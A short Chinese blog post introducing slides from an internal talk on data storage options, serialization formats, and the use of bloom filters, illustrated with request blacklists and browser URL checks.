数据的存储

这是我今年一月份在 team 内部的一次分享。介绍了主流的数据存储方案，包括：内存，文件，数据库和消息队列，以及数据序列化/反序列化的方法。很多时候，工具就在那里，我们只是不知道它们的存在而已。

比如说在client端，有很多 embedded database 可以使用，并不需要局限于 sqlite；而当我们存储数据于缓存服务器中，json 未必是最好的序列化方式，有些场合可以考虑 protobuf / msgpack 等。

在内存中处理数据时，除了一般程序语言自带的 map / list / set 之外，还有很多性能卓绝的数据结构可以考虑，比如 bloomfilter，各种 tree 等。bloomfilter 是一个经常被人忽视的强大工具，它常常可以起到四两拨千斤的作用。讲一个实际的例子。我们做 web 的，经常需要做各种各样的过滤，比如 blacklist。对于每一个请求，你都要走一遍可能涉及到读数据库或者读缓存的 blacklist 操作，这样不经济。如果 blacklist 改动不是很频繁，那么可以在 blackblist 变动之后生成一个 bloomfilter，当请求到达的时候，检查请求是否命中这个 bloomfilter，如果没命中，这肯定是一个被允许的请求，直接放过，如果命中了，这有可能是一个要被拒绝的请求，这时候才需要访问数据库（或者缓存）详细查询。事实上，google chrome 正是利用 bloomfilter 进行恶意 URL 的检测：浏览器会维护一个恶意 URL 的 bloomfilter，任何用户输入的 URL 都会经过这个检查，只有当这个 bloomfilter 被命中，这个 URL 会发送给 google 的服务器进一步检查。（注：见 http://blog.alexyakunin.com/2010/03/nice-bloom-filter-application.html）。

废话不多说，大家看 slides 吧（注：上次程序君承诺会尝试对 slides 中文录音以便大家更好地理解，可惜这几天事情太多，没工夫弄，争取下次放 slides 的时候录音）。